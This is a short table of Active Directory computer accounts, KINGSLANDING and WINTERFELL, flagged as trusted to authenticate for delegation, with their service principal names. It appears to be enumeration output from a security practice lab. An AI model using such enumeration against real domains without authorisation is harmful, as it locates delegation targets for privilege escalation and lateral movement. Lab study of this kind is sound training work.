Name TrustedToAuthForDelegation ServicePrincipalName
---- -------------------------- --------------------
KINGSLANDING True {HOST/KINGSLANDING, ...}
WINTERFELL True {HOST/WINTERFELL, ...}